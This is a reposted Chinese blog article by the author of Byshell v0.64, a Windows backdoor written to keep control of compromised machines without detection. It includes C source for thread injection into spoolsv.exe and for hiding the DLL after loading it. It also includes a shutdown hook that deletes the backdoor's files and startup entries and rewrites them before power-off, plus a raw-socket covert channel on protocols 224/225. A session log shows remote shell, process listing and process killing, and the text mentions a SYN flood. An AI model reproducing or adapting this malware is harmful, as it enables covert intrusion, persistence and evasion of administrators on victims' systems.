无进程无DLL无硬盘文件无启动项木马思路(转载)

限时加码!20+主流AI编程工具免费用 购周边加赠Coding Plan Lite,Claude Code、Cursor等即刻畅享,学习进阶更高效! 阅读详情

转自:http://www.cnblogs.com/suiyingjie/ 谢谢了,学习了

现在网络上流行的木马后门类工具很多,但可以称为精品的则没有多少,大多数新手们还在使用Radmin一类的软件来替代后门程序。不幸的是,它们并不是一个真正的后门,极容易服务器管理员察觉,因此肉鸡经常飞掉也就很正常了。

 一个合格的后门至少应该做到不能有陌生进程存在于任务管理器里,给后门进程起一个看起来像系统进程的名字只是掩耳盗铃;不能在注册表Run启动项或者服务启动项里留下众所周知的启动键值或新增服务,当然更不能直接写开始菜单的启动项;不能如同无视管理员或者防火墙一般明目张胆地打开陌生端口;像Bits.dll那样等待连接时无端口,连接时开端口的程序,在端口检查时只有30%的几率能逃脱。另外后门最好能隐藏自己生成的文件,或者避免感染一些管理员经常检查完整性的系统文件。前三点没有做到的后门程序不是一个“比较高级”的后门程序,当然在使用的时候也就没有稳定性、保密性可言了。 
 按照我的分类,现在常见的后门大概可以分成三个“级别”: 
 ★应用级。如WinShell、Radmin、冰河等,它们基本没有采取别的方法来隐藏自己,只是一个普通的能够实现远程控制的应用程序而已。 
 ★系统级。多多少少采用了一些Ring3下隐藏行踪的编程技术,用得少的比如Bits.dll,Portless,用得多的比如Hxdef。

小提示:Hxdef虽然有一个驱动,但是它对系统的Hook全都是Ring3的,因此大家倾向于称它为系统级而非内核级后门。

 ★内核级,后门主要部分工作在Ring0,因此有很强的隐蔽性和杀伤力。但是公布的完整的内核级后门数量不多,兼容性也不近人意。这个话题在Phrack和Rootkit.com上有很多有价值的讨论和成果公布。 
 我在自己写的系统级后门Byshell v0.64中尽力做到以上的要求,然而由于个人能力有限,功能的实现不够全面、稳定,希望大家能给我提好的意见或者替我升级版本。在这篇文章中我将和大家讨论这个开源后门的设计、实现,当然还有实际的应用举例,希望高手不要扔板砖,大家一起讨论。

应用举例 
这是一个实现了无进程、无DLL、无硬盘文件、无启动项的后门程序。利用线程注射DLL到系统进程,解除DLL映射并删除自身文件和启动项,关机时恢复。大量地借鉴和学习了农民Cmdbind2的思想,在这里对农民前辈无私共享的精神致以120分感谢。我允许此软件及其源代码自由传播,但引用时应注明出处。在联系作者并得到同意之前,不得将此软件改编或删选后用作商业用途,可用作学习和私人用途。 
Byshell 0.64支持的命令列表如下:cmd,shell,endshell,chpass,byver,sysinfo,pslist,pskill,modlist,get,put,reboot,dettach,popmsg,SYN,queryDOS,endDOS,refresh等,具体用法请查看说明书。

小提示:说明书上遗漏了refresh命令,它的作用是清除死掉的连接,并且给你机会重新连接,也可以在你换了一个IP以后,清除原来的连接(否则不能正常连接)。

安装后门时只要把Ntboot.exe和Ntboot.dll上传到肉鸡同一目录并且执行“ntboot.exe –install”即可,安装完成后可手动删除Ntboot.exe和Ntboot.dll,连接的时候用By064cli.exe。注意Byshell v0.64不支持本机对本机测试,v 0.63可以。现在我用v 0.63演示一下使用的效果: 
1.连接: 
please input the server ip address 
127.0.0.1 
127.0.0.1 will be connected 
input the password(the default one is "by") 
by 
#cmddir c: 
驱动器 C 中的卷没有标签。 
卷的序列号是 CCB2-D751

c: 的目录

2005-01-29 14:22   <DIR>    Documents and Settings 
2004-10-01 19:24   <DIR>    Inetpub 
2004-11-17 20:56   <DIR>    Intel 
2004-10-30 14:18      24,576 isapilog.dll 
2004-11-11 00:55      24,576 magic_asp.dll 
2005-02-07 21:47   <DIR>    My Music 
2004-12-21 00:05       124 Operate.ini 
2005-01-18 22:38   <DIR>    Program Files 
2005-02-07 23:31   <DIR>    ubackup 
2005-02-02 17:54   <DIR>    WINNT 
     3 个文件    49,276 字节 
     7 个目录  124,207,104 可用字节 
2.获得并结束Shell: 
#shell 
Microsoft Windows 2000 [Version 5.00.2195] 
(C) 版权所有 1985-2000 Microsoft Corp.

C:WINNTsystem32>cd.. 
cd..

C:WINNT>cd.. 
cd..

C:>dir 
dir 
驱动器 C 中的卷没有标签。 
卷的序列号是 CCB2-D751

C: 的目录

……省略 
     3 个文件    49,276 字节 
     7 个目录  124,207,104 可用字节

C:>endshell 
shell terminated 
#byver 
ByShell server version 0.63 
Released Dec 19,2004 Copyleft@ "by" co.ltd. 
3.进程列举与Kill。这里有BUG,排列不整齐。 
#pslist 
process: 
pid  filename   num_thread   parentpid 
8   System 43   0 
184  smss.exe   6   8 
208  csrss.exe   11   184 
232  winlogon.exe  19   184 
260  services.exe  31   232 
272  lsass.exe   17   232 
456  svchost.exe  11   260 
488  SPOOLSV.EXE  14   260 
524  msdtc.exe   21   260 
636  svchost.exe  18   260 
656  llssrv.exe   9   260 
688  sqlservr.exe  28   260 
776  winmgmt.exe  3   260 
812  dfssvc.exe   2   260 
832  inetinfo.exe  29   260 
856  mssearch.exe  6   260 
1224  svchost.exe  11   260 
1176  explorer.exe  19   1172 
1356  igfxtray.exe  2   1176 
1404  PFWMain.exe  4   1176 
1412  SOUNDMAN.EXE  2   1176 
1428  realsched.exe  4   1176 
1436  internat.exe  1   1176 
1444  sqlmangr.exe  3   1176 
1280  BitComet.exe  9   1176 
328  notepad.exe  2   1176 
1196  MDM.EXE 5   456 
1512  conime.exe   1   1088 
1520  cmd.exe 1   488 
1504  by063cli.exe  1   1176 
#pskill1428 
OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:) 
#modlist1520

mods of 1520: 
module_id   module_name  module_path 
1   ntdll.dll   C:WINNTSystem32ntdll.dll 
1   KERNEL32.dll  C:WINNTsystem32KERNEL32.dll 
1   USER32.dll   C:WINNTsystem32USER32.dll 
1   GDI32.DLL   C:WINNTsystem32GDI32.DLL 
1   ADVAPI32.dll  C:WINNTsystem32ADVAPI32.dll 
1   RPCRT4.DLL   C:WINNTsystem32RPCRT4.DLL 
1   MSVCRT.dll   C:WINNTsystem32MSVCRT.dll 
1   IMM32.DLL   C:WINNTSystem32IMM32.DLL 

好了,就介绍这三个最普通的功能吧。其实在很多场合,这三个功能是最基本的功能,也是最难确保稳定性的三个问题疑难,不过这个后门最突出的特色应该是无进程、无DLL、无硬盘文件、无启动项的实现,在实际的使用过程中相信大家会发现它的优点,下面我们从设计和编程的角度来看这些功能是如何实现的。

设计&编程 
 在这一部分中我不列举完整的代码,因为它太长了,我将引用关键代码来说明编写思路。 
首先是怎样隐藏自身的进程?一个普遍采用的方法就是远程线程注射。但它最大的问题是注射代码到了远程进程的地址空间后,由于地址空间的变化,依赖于原来地址空间的所有直接寻址指令需要重定位。这点对汇编老手来手是很容易理解的,对高级语言程序编写者来说这意味着所有显式和非显式的全局变量(如API地址和字符串)都需要进行手工重定位。 
相比于病毒程序,我们很幸福,因为我们的的注射器可以同时向远程进程注射一个“全局变量块”,再把这个块的地址传送到远程函数,然后在远程函数中使用这个块来替代直接寻址的全局变量,从而免于编写完全“自身可重定位”的代码。后者被认为是非常烦琐并且几乎无法用高级语言实现的。但即使是这样,编写可以重定位的代码复杂度仍然比较大,写功能模块比较多的后门程序将会非常累。农民前辈的Cmdbind2实现了完全手工重定位的注射后门,我们看他的源代码可以发现他仅仅在实现最普通的Bind Shell上就花费了很多代码,像ByShell v0.64这样的功能复杂的后门,如果也这样实现功能的话,无疑是难以想象的。 
 取代直接编写可重定位代码的普遍方法是在注射进入远程进程的函数中加载一个DLL,这样的话系统将为你做重定位工作,后门主要功能实现在DLL中。例如以前的黑防中,单长虹介绍过这种方法。这种方法也有一个小弊端就是管理员在审核被你注射的进程时会发现一个不明的DLL从而导致后门暴露。农民前辈提出了一种思路,先加载DLL,然后把这一块内存全部拷贝到其它地方,卸载DLL,再申请与原来加载DLL相同的地址空间,把其它地方“寄存”的DLL代码拷贝回这个空间。然后直接调用这个DLL,就解决了所有的重定位问题,还不会在被注射进程的加载模块列表里出现我们的DLL。农民前辈并没有实现他的想法为代码,一会给出我用这种方法实现的主要代码。 
 进行比较讨论时我们也来讨论其它的系统级隐藏进程方法。Bingle采用替代Svchost启动的DLL服务的方法来加载后门,ZXshell也使用了这种方法。这种方法的主要问题是不稳定,必须改写注册表敏感键值并在Svchost.exe的加载模块中出现不明模块。当然如果用和原来同名的木马DLL来替代原来的DLL可以避免以上问题,但是又会遇到新的问题,就是怎样绕过Windows的系统文件保护和管理员例行的系统文件完整性检查。 
 Hxdef统一采用Hook ring3 API(主要是Ntdll.dll的NativeAPI)的方法完成自身各个方面的隐藏。这种方法对于一般的Ring3检查效果很好,并且可以部分实现端口复用。它的主要问题有Ring3下Hook的手段不多,而且比较“兴师动众”(Hxdef向系统中所有进程注射木马数据),效果还不是很好,极易被Ring0的RootKit Detector发现,如ICESWORD。最后还有就是编程烦琐。 
 我选用了注射远程进程Spoolsv.exe,假脱机打印服务的方法,并且在注射到远程的函数中加载然后卸载了一个木马DLL——Ntboot.dll,注射器则是Ntboot.exe。请看代码:

void injcode(){HANDLE prohandle;//注射对象进程句柄 
DWORD pid=0;//对象进程PID 
int ret; //临时变量

//使用toolhelp32函数得到注射对象PID 
Sleep(1000); 
HANDLE snapshot; 
snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 
struct tagPROCESSENTRY32 processsnap; processsnap.dwSize=sizeof(tagPROCESSENTRY32); 
char injexe[]="spoolsv.exe";//注射对象进程,大家可以自己改 
for(Process32First(snapshot,&processsnap); 
Process32Next(snapshot,&processsnap);) 

CloseHandle(snapshot);//得到PID 
//取得SE_DEBUG_NAME权限 
HANDLE hToken; 
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);

TOKEN_PRIVILEGES tp; 
tp.PrivilegeCount = 1; 
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,&tp.Privileges[0].Luid); 
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; 
AdjustTokenPrivileges(hToken,0,&tp, sizeof(tp),0,0); 
//现在注射 
prohandle=OpenProcess(PROCESS_ALL_ACCESS,1,pid); 
DWORD WINAPI injfunc(LPVOID);//Injfunc就是注射的函数,需要手工重定位 
//下面取得需要用的API地址并写进将要注射的全局变量块,Injapistr是全局结构,是全局变量块的内容 
HMODULE hModule; 
LPVOID paramaddr;//全局变量块地址 
hModule=LoadLibrary("kernel32.dll"); 
injapistr.myLoadLibrary=(struct HINSTANCE__ *(__stdcall *)(const char *))GetProcAddress(hModule,"LoadLibraryA"); 
injapistr.myGetProcAddress=(FARPROC (__stdcall*)(HMODULE,LPCTSTR))GetProcAddress(hModule,"GetProcAddress"); 
injapistr.myVirtualAlloc=(void *(__stdcall *)(void *,unsigned long,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualAlloc"); 
injapistr.myFreeLibrary=(int (__stdcall *)(struct HINSTANCE__ *))GetProcAddress(hModule,"FreeLibrary"); 
injapistr.myIsBadReadPtr=(int (__stdcall *)(const void *,unsigned int))GetProcAddress(hModule,"IsBadReadPtr"); 
injapistr.myVirtualFree=(int (__stdcall *)(void *,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualFree"); 
//在目标进程里分配“全局变量块”,并写入API地址 
paramaddr=VirtualAllocEx(prohandle,0,sizeof(injapistr),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
ret=WriteProcessMemory(prohandle,paramaddr,&injapistr,sizeof(injapistr),0); 
//写入Injfunc函数 
void* injfuncaddr=VirtualAllocEx(prohandle,0,20000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
ret=WriteProcessMemory(prohandle,injfuncaddr,injfunc,20000,0); 
//激活远程线程 
CreateRemoteThread(prohandle,0,0,(DWORD (WINAPI *)(void *))injfuncaddr,paramaddr,0,0); 
CloseHandle(prohandle); 
return; 

//注射到远程的函数,负责完成加载和卸载功能复杂的木马DLL的艰巨任务 
DWORD WINAPI injfunc(LPVOID paramaddr){ 
//paramaddr,全局变量块首址。所有静态全局变量都需要重定位(直接寻址的),而动态分配(堆,Virtualalloc)和栈变量不需要,因为他们使用间接寻址。其实字符串也可以在刚才写进全局变量块,但是字符串不多,这里直接用ASM搞定。 
char ntboot[16]; 
char msgbox[16];//变量名字起错了,应该是DLL的后门主函数名。汗,希望不要误导大家。 
INJAPISTR * pinjapistr=(INJAPISTR *)paramaddr; 
__asm{ 
mov ntboot,"n" 
mov ntboot+1,"t" 
mov ntboot+2,"b" 
mov ntboot+3,"o" 
mov ntboot+4,"o" 
mov ntboot+5,"t" 
mov ntboot+6,"." 
mov ntboot+7,"d" 
mov ntboot+8,"l" 
mov ntboot+9,"l" 
mov ntboot+10,0 
mov msgbox,"C" 
mov msgbox+1,"m" 
mov msgbox+2,"d" 
mov msgbox+3,"S" 
mov msgbox+4,"e" 
mov msgbox+5,"r" 
mov msgbox+6,"v" 
mov msgbox+7,"i" 
mov msgbox+8,"c" 
mov msgbox+9,"e" 
mov msgbox+10,0 

HMODULE hModule=pinjapistr->myLoadLibrary(ntboot);//加载Ntboot.dll 
DWORD (WINAPI *myCmdService)(LPVOID);//DLL后门的主函数名 
myCmdService=(DWORD (WINAPI *)(LPVOID))(pinjapistr->myGetProcAddress(hModule,msgbox)); 
//各位看官,以下是精华了: 
unsigned int memsize=0; 
void * tempdll=pinjapistr->myVirtualAlloc(0,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
memcpy(tempdll,hModule,0x23000); 
//0x23000是DLL的大小,不多不少。如果你改变了Ntboot.dll的大小请注意调整这个值 
pinjapistr->myFreeLibrary(hModule); 
hModule=(HMODULE)pinjapistr->myVirtualAlloc(hModule,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
memcpy(hModule,tempdll,0x23000); 
pinjapistr->myVirtualFree(tempdll,0x23000,MEM_DECOMMIT); 
//结束,DLL没有被加载,但是又可以发挥作用,爽吧?! 
myCmdService(0);//调用后门主函数。 
return 0; 

 下一个问题是启动项和文件。Ntboot.exe是后门的注射器,将自己作为服务启动,我们决不能让管理员发现服务键值。怎么办?这个也是农民前辈提出的思想:先删除所有后门文件和服务,设定一个关机通知和一个一键关机钩子,在即将关机的时候写入文件和服务项。同样的,一开机这个服务只要启动了就会先把自己删除。这样就实现了无文件和无启动项。管理员用注册表对比将不能发现异常,也无处寻找我们的后门文件。看一下设定一个关机通知和一个一键关机钩子的代码:

DWORD WINAPI hookthread( LPVOID lpParam ){ 
MSG msg;int tmpret;char tmpstr[100]; 
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam); 
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0); 
if(!msghook) 
tmpret=SetConsoleCtrlHandler(HandlerRoutine,1); 
if(!tmpret) 
while (GetMessage(&msg, NULL, 0, 0)){void resume(); 
if(msg.message==WM_QUERYENDSESSION) 

UnhookWindowsHookEx(msghook); 
return 0; 
}

BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume(); 
switch(dwCtrlType) 

case CTRL_SHUTDOWN_EVENT: 
resume();//resume函数,顾名思义就是恢复文件启动项 
break; 
default: 
break; 

return 0; 
}

LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){void resume(); 
if(code<0){return CallNextHookEx(msghook,code,wParam,lParam);} 
if(code==HC_ACTION){ 
EVENTMSG * pevent=(EVENTMSG *)lParam; 
if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF) 

return CallNextHookEx(msghook,code,wParam,lParam); 
}

 与Hxdef的Hook文件注册表的Native API相比,这种办法的好处是根本就不存在文件,也不会有什么Ring0的Rootkit Detector发现被Hook API隐藏的文件和注册表项。坏处是如果对方直接拔电源关机我们就“安息”了。于是我们就会安慰自己说:这个后门有足够的隐蔽性,不会让对方怀疑到中了后门,以至于采用掉电关机的BT手段。当然如果你用Hxdef,那么相信我,现在的Rootkit Detector很普遍,Hxdef已经成为众矢之的了,在管理员检查时也会“安息”得很快的。 
 最后是怎样实现无端口(像用Rootkit隐藏掉端口那种不叫无端口。那种东西不但无法穿过防火墙还会在管理员扫描自己的机器时暴露),这是Byshell v0.64的弱项,Ring3后门本来难有什么好办法来进行端口复用,使用Raw_socket监听TCP只能做到Bits.dll那样的“等待连接时无端口”;把自己加载成SPI基础服务提供者或者分层服务提供者,可以截获所有Ring3网络通讯,但会在注册表和系统中留下足够多的信息从而导致我们后门“安息”。Hxdef的Hook系统中所有进程的Recv/WSArecv方法虽然有不能复用Ring0端口如139,445的弊端,但还是现在看来比较好的Ring3端口复用的办法。到现在为止,Byshell采取的方法是使用Socket_raw的自定义协议,就是非TCP非UDP协议进行通讯,可以穿越大多软件防火墙和一些硬件防火墙,但是它的弊端是不保证穿过所有防火墙,并且不支持Windows XP SP2,因为后者取消了对Socket_raw的支持。我的实现比较简单,就是用一个协议号224监听连接和刷新,另一个协议号225传输后门数据,很简单: 
WSADATA WSAData; 
WSAStartup(MAKEWORD(2,2),&WSAData); 
SOCKET sock224=socket(AF_INET,SOCK_RAW,224); 
sockaddr_in srvaddr; 
memset(&srvaddr,0,sizeof(struct sockaddr_in)); 
srvaddr.sin_family= AF_INET; 
srvaddr.sin_addr.S_un.S_addr =INADDR_ANY; 
ret=bind(sock224,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr)); 
if(ret){goto label2;} 
dwThreadId=0;char buff224[128]; 
DWORD WINAPI threadfunc( LPVOID lpParam ); 
HANDLE thrdhndl; 
//建立225的连接线程 
thrdhndl=CreateThread(0, 0, threadfunc, 0, 0, &dwThreadId); 
//等待刷新 
while(1){recvfrom(sock224,buff224,128,0,0,0); 
if(!strncmp(buff224+32+sizeof(IP_HEADER),"+_)(*&^%$#@!~byrefreshbreak",27) && !strncmp(buff224+sizeof(IP_HEADER),pwd,strlen(pwd))){ 
TerminateThread(thrdhndl,0);goto label1;} 

 在225的代码里我实现了简单的差错控制,代码比较长这里不列举了,有兴趣的朋友请看源代码。由于这个复用方法不是非常可靠、稳定,所以我公布了Byshell v0.63,它直接开了一个TCP端口138,完全不符合后门要求,但是给大家用来作测试还是可以的。如果大家发现Byshell v0.64不是很稳定可以试试v0.63。不过一个严重的失误是我在Byshell v0.64的说明书里漏了一个命令“refresh”,它可以清除万一出现的225连接死掉,并且给你机会重新连接。 
 最后就是Byshell实现了非常多的命令,比如查看系统信息、执行命令、在后门连接中上传下载,甚至还有SYN洪水攻击。后门的功能模块是Work()函数,这样便于进行功能拓展和模块化编程。针对它端口复用不理想的现状,我会继续升级。以后可能写成Hxdef那样的Ring3复用,也可能是Ring0的过滤驱动之类的东西,也希望前辈们继续指导我。

进程启动项硬盘文件运行程序的研究 立即下载

相关推荐

技术转移机构如何提高项目转化效率?.docx

科易网基于40亿+科创知识图谱数据库,深度探索AI技术在技术转移、成果转化、技术经纪、知识产权、产业创新、科技招商等垂直领域的多样化应用场景,研究科技创新领域的AI+数智化解决方案,推动科技创新与产业创新智能化发展。

文件执行木马方式

powershell(脚本解析器) 》》》powershell.exe(应用程序)VB.script(脚本解析器) 》》》cscript.exe(应用程序)javaSrtipt(脚本解析器) 》》》mshta.exe(应用程序)bat处理 (脚本解析器) 》》》cmd.exe(应用程序)

m0_62207482的博客 213

系统级ring3后门——byshell v0.64编程与应用(zz)

第一部分:背景    现在网络上流行的木马后门类工具很多,但可以称为精品的则没有多少。大多数新生们还是在使用winshell,冰河或者Radmin一类的“远程管理软件”来替代后门程序。不幸的是,它们并不符合一个真正后门的标准,极其容易被有或者没有经验的服务器管理员察觉,因此肉鸡经常丢失也就很正常了。    一个合格的后门至少应该作到:不能有陌生进程存在于任务管理器里,给后门进程起一个看起来像系统进

FreeXploiT 3232

2026年5月重磅威胁:Quasar Linux RAT(QLNX)文件木马深度解析与开发者防御指南

摘要: 网络安全公司Mandiant披露了新型Linux恶意软件QLNX,专门针对开发者工作站发起供应链攻击。该软件采用无文件执行技术,通过memfd_create系统调用在内存中运行,不留磁盘痕迹,并伪装成系统进程。QLNX具备双层Rootkit架构(用户态LD_PRELOAD和内核态eBPF),能隐藏进程文件和网络连接。它实现了7种持久化机制,包括PAM后门和systemd服务,确保长期驻留。主要危害是窃取开发者Git凭证、SSH密钥、云服务密钥等敏感信息,已感染1200多台工作站,篡改17个开源项目

从零开始,掌握网络安全。提供全面的网络安全教程、攻防演练技巧和行业动态。 604

Linux无文件木马程序

Vegile 是用于 linux 系统渗透测试中的权限维持。Vegile 这个工具将设置一个后门/rootkit,并且这个后门会直接隐藏进程,无限连接 metesploit,持续维持你的 Metepreter 会话,即使木马进程被杀死,它依然会再次重新运行,换句话说是该进程无限循环的。

Time_worm的博客 952

图吧工具箱纯净版获取与使用全指南:从硬件检测到系统优化

在计算机硬件检测与系统维护领域,硬件检测工具和系统优化软件是工程师和DIY玩家不可或缺的助手。其核心原理在于通过读取硬件传感器数据、系统日志和性能计数器,实现对设备状态与系统健康的精准监控。这类工具的技术价值在于将专业功能平民化,极大降低了硬件真伪鉴别、性能测试和故障排查的门槛。典型的应用场景包括新机验货、二手硬件评估、系统清理和稳定性压力测试。本文聚焦于图吧工具箱这一经典集成方案,针对其纯净版获取、Cinebench R23等工具缺失的解决方案,以及硬盘通电时间查询等核心功能进行详细解析,帮助用户安全高效

weixin_30047059的博客 339

基于visual c++之windows核心编程代码分析(63)无模块dll进程注射

我们在信息安全编程的时候经常需要进行dll进程注入,我们在编程中如何实现呢。需要引用Psapi.Lib,具体可以百度下载之。其头文件如下,odule Name: psapi.h Abstract: Include file for APIs provided by PSAPI.DLL Author: Richard Shupak [richards] 0...

weixin_30691871的博客 192

pc恶意程序木马分析 启动流程 逆向分析 数据解密

pc恶意程序木马分析 启动流程 逆向分析 数据解密

mhx117的博客 954

Linux无文件木马程序渗透测试复现

今天继续给大家介绍渗透测试相关知识,本文主要内容是Linux无文件木马程序渗透测试复现。 一、实战介绍 二、初次渗透测试 三、无文件木马渗透测试

永远是少年 1506

dll进程木马源代码

#include//#include#include#include#pragma comment(lib,"Shlwapi.lib")//参数结构 ;typedef struct _RemotePara{DWORD dwLoadLibrary;DWORD dwFreeLibrary;DWORD dwGetProcAddress;DWORD dwGetModuleHandle;DWORD dwWS

benny5609的专栏 1223

vc++实现无进程DLL硬盘文件启动项的ICMP后门后门程序

客户端 #include #include #include #pragma comment(lib,"ws2_32.lib")char SendMsg[256];/* The IP header */typedef struct iphdr {unsigned int h_len:4; //4位首部长度unsigned int version:4; //IP版本号,4表示I

尹成的技术博客 1万+

MSF-msfvenom Linux 无文件木马程序

Linux 无文件木马程序 环境准备 文章目录Linux 无文件木马程序一、生成恶意文件二、启动Apache服务三、Vegile 使用四、获取Linux 系统的shell五、创建无文件后门程序 Kali Linux 2020.4 CentOS 7.6 IP地址 Kali Linux :192.168.37.139 CentOS :192.168.37.133 一、生成恶意文件 生成恶意文件让目标系统执行来获取 shell ┌──(root????fengzilin54)-[~] └─# msfve

枫梓林のBlog 1472

政府黑客使用无文件技术投放远程控制木马

本文讲的是 政府黑客使用无文件技术投放远程控制木马,亚洲的国家黑客正使用一种新技术投放远程控制木马,回避安全产品的检测。 终端安全公司SentinelOne发布消息称,这些威胁小组使用的方法能够将远程控制木马注入到受害设备的内存。反病毒软件、甚至是更新型的技术,只要基于文件检测,就无法发现此类威胁。 研究人员通过分析攻击过程发现,硬盘上的确被写入了一些...

weixin_34315189的博客 377

进程DLL硬盘文件

 下一个问题是启动项文件。Ntboot.exe是后门的注射器,将自己作为服务启动,我们决不能让管理员发现服务键值。怎么办?这个也是农民前辈提出的思想:先删除所有后门文件和服务,设定一个关机通知和一个一键关机钩子,在即将关机的时候写入文件和服务项。同样的,一开机这个服务只要启动了就会先把自己删除。这样就实现了无文件和无启动项。管理员用注册表对比将不能发现异常,也无处寻找我们的后门文件。看一下设定一

1324

dll进程木马

#include//#include#include #include #pragma comment(lib,"Shlwapi.lib")//参数结构 ; typedef struct _RemotePara{    DWORD dwLoadLibrary;   DWORD dwFreeLibrary;   DWORD dwGetProcAddress;   DWORD dwGetModuleH

1196

srv_linkage.h文件说明

文件是这个软件的一个基本文件,其实主要就是定义了一个结构体,GS( Global Structure  )。这个结构体我们在前面的文章中单独说过。现在还是把它拿出来再说说吧。typedef struct GS {// Application Common Base ////////////////////// WORD nSize; // The Size of this Structu

annhf的专栏 1351

Android木马病毒com.schemedroid的分析报告

某安全公司移动病毒分析报告的面试题目,该病毒样本的代码量比较大,最大的分析障碍是该病毒样本的类名称和类方法名称以及类成员变量的名称被混淆为无法辨认的特殊字符,每个被分析的类中所有的字符串都被加密处理了并且每个类的加密算法还不是一样的,人肉还原出被加密的字符串是很不现实的,该样本大约有100多个类,需要处理的加密字符串的解密高达几千个之多,有兴趣和能拿到样本的同学可以挑战一下自己,暂不提供样本。经...

Fly20141201. 的专栏 7260
上一篇: eval一句话木马原理详解
下一篇: socket穿透代理代码(C++版)
machack
博客等级 码龄17年 34粉丝 4原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值